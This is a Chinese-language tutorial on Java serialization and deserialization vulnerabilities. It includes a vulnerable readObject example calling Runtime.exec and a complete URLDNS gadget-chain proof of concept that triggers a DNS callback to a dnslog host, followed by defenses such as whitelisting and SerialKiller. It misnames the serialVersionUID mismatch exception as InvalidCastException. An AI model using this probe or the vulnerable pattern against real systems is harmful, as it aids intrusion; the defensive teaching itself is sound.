JAVA安全-序列化与反序列化基础详解
字数 1556 2025-08-23 18:31:09

Java安全:序列化与反序列化基础详解

1. 序列化与反序列化基础概念

1.1 基本定义

  • 序列化(Serialization): 将Java对象转换为字节序列的过程
  • 反序列化(Deserialization): 把字节序列恢复为Java对象的过程

1.2 序列化的目的

  • 对象持久化存储
  • 网络传输对象
  • 跨JVM共享对象

2. 序列化实现机制

2.1 序列化条件

  1. 类必须实现java.io.Serializable接口

    • Serializable是一个标记接口,不包含任何方法
    • 未实现此接口的类序列化会抛出NotSerializableException
  2. 类的所有属性必须是可序列化的

    • 若属性不可序列化,必须使用transient关键字标记
    • transient修饰的成员不会被序列化

2.2 序列化过程

// 序列化示例代码
public class SerializeDemo {
    public static void main(String[] args) throws IOException {
        Employee e = new Employee();
        e.name = "zhangsan";
        e.age = 20;
        e.address = "shenzhen";
        
        // 创建序列化流
        ObjectOutputStream outputStream = new ObjectOutputStream(
            new FileOutputStream("ser.txt"));
        // 写出对象
        outputStream.writeObject(e);
        // 释放资源
        outputStream.close();
    }
}

2.3 反序列化过程

// 反序列化示例代码
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();

2.4 注意事项

  • 父类未实现Serializable接口时,需要提供无参构造函数
  • static成员变量不会被序列化
  • transient修饰的成员变量不参与序列化

3. serialVersionUID机制

3.1 作用

  • 用于验证序列化版本的兼容性
  • 反序列化时JVM会比较字节流中的serialVersionUID与本地类的serialVersionUID
  • 不一致会抛出InvalidCastException

3.2 生成方式

  1. 默认1L:

    private static final long serialVersionUID = 1L;
    
  2. 根据类结构计算生成(64位哈希值):

    private static final long serialVersionUID = xxxxL;
    

3.3 最佳实践

  • 显式声明serialVersionUID以避免版本不一致问题
  • 修改类结构时应考虑serialVersionUID的兼容性

4. 反序列化漏洞原理

4.1 漏洞产生条件

  • 重写readObject方法不当
  • readObject中执行危险操作
  • 示例漏洞代码:
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject(); // 执行默认的readObject()
        Runtime.getRuntime().exec(cmd); // 危险操作
    }
    

4.2 漏洞利用共同条件

  1. 继承Serializable接口
  2. 存在入口类(source) - 重写了readObject方法
  3. 存在调用链(gadget chain) - 基于类的默认调用方式
  4. 存在执行类(sink) - 可执行危险操作(RCE、SSRF等)

5. URLDNS利用链分析

5.1 利用链概述

HashMap->readObject()->hash()->URL.hashCode()
->URLStreamHandler.hashCode()->getHostAddress()
->InetAddress.getByName(host)

5.2 利用特点

  • Java原生利用链,无版本限制
  • 常用于验证反序列化漏洞存在
  • 通过DNS查询验证漏洞

5.3 完整利用代码

// 序列化部分
public class DnsTest {
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        URL url = new URL("http://nxfsji.dnslog.cn");
        Class c = url.getClass();
        Field fieldhashcode = c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        fieldhashcode.set(url, 222); // 第一次查询缓存
        hashmap.put(url, 2);
        fieldhashcode.set(url, -1); // 反序列化时触发DNS查询
        serialize(hashmap);
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(
            new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}

// 反序列化部分
public class RrefilectDns {
    public static void main(String[] args) throws Exception {
        unserialize();
    }
    
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(
            new FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

5.4 关键点分析

  1. HashMapreadObject()方法会调用hash()函数
  2. hash()函数会调用键对象的hashCode()
  3. URL类的hashCode为-1时会调用URLStreamHandler.hashCode()
  4. 最终触发InetAddress.getByName()进行DNS查询

6. 反序列化防护措施

6.1 防护方法

  1. 使用白名单验证反序列化的类
  2. 替换默认的ObjectInputStream
    • 例如使用SerialKiller替代
  3. 实施输入验证和过滤
  4. 使用安全管理器限制危险操作

6.2 SerialKiller特性

  • Hot-Reload
  • Whitelisting
  • Blacklisting
  • 控制外部输入反序列化后的可信类型

7. 总结

Java序列化和反序列化是强大的功能,但也带来了严重的安全风险。理解其工作机制和安全问题对于开发安全的Java应用至关重要。关键点包括:

  1. 序列化需要实现Serializable接口
  2. serialVersionUID用于版本控制
  3. 重写readObject可能引入安全风险
  4. URLDNS链是验证反序列化漏洞的有效方式
  5. 应采取适当防护措施防止反序列化攻击

通过深入理解这些机制,开发人员可以更安全地使用Java序列化功能,同时有效防范相关安全风险。

Java安全:序列化与反序列化基础详解 1. 序列化与反序列化基础概念 1.1 基本定义 序列化(Serialization) : 将Java对象转换为字节序列的过程 反序列化(Deserialization) : 把字节序列恢复为Java对象的过程 1.2 序列化的目的 对象持久化存储 网络传输对象 跨JVM共享对象 2. 序列化实现机制 2.1 序列化条件 类必须实现 java.io.Serializable 接口 Serializable 是一个标记接口,不包含任何方法 未实现此接口的类序列化会抛出 NotSerializableException 类的所有属性必须是可序列化的 若属性不可序列化,必须使用 transient 关键字标记 transient 修饰的成员不会被序列化 2.2 序列化过程 2.3 反序列化过程 2.4 注意事项 父类未实现 Serializable 接口时,需要提供无参构造函数 static 成员变量不会被序列化 transient 修饰的成员变量不参与序列化 3. serialVersionUID机制 3.1 作用 用于验证序列化版本的兼容性 反序列化时JVM会比较字节流中的 serialVersionUID 与本地类的 serialVersionUID 不一致会抛出 InvalidCastException 3.2 生成方式 默认1L: 根据类结构计算生成(64位哈希值): 3.3 最佳实践 显式声明 serialVersionUID 以避免版本不一致问题 修改类结构时应考虑 serialVersionUID 的兼容性 4. 反序列化漏洞原理 4.1 漏洞产生条件 重写 readObject 方法不当 在 readObject 中执行危险操作 示例漏洞代码: 4.2 漏洞利用共同条件 继承 Serializable 接口 存在入口类(source) - 重写了 readObject 方法 存在调用链(gadget chain) - 基于类的默认调用方式 存在执行类(sink) - 可执行危险操作(RCE、SSRF等) 5. URLDNS利用链分析 5.1 利用链概述 5.2 利用特点 Java原生利用链,无版本限制 常用于验证反序列化漏洞存在 通过DNS查询验证漏洞 5.3 完整利用代码 5.4 关键点分析 HashMap 的 readObject() 方法会调用 hash() 函数 hash() 函数会调用键对象的 hashCode() URL 类的 hashCode 为-1时会调用 URLStreamHandler.hashCode() 最终触发 InetAddress.getByName() 进行DNS查询 6. 反序列化防护措施 6.1 防护方法 使用白名单验证反序列化的类 替换默认的 ObjectInputStream 例如使用 SerialKiller 替代 实施输入验证和过滤 使用安全管理器限制危险操作 6.2 SerialKiller特性 Hot-Reload Whitelisting Blacklisting 控制外部输入反序列化后的可信类型 7. 总结 Java序列化和反序列化是强大的功能,但也带来了严重的安全风险。理解其工作机制和安全问题对于开发安全的Java应用至关重要。关键点包括: 序列化需要实现 Serializable 接口 serialVersionUID 用于版本控制 重写 readObject 可能引入安全风险 URLDNS链是验证反序列化漏洞的有效方式 应采取适当防护措施防止反序列化攻击 通过深入理解这些机制,开发人员可以更安全地使用Java序列化功能,同时有效防范相关安全风险。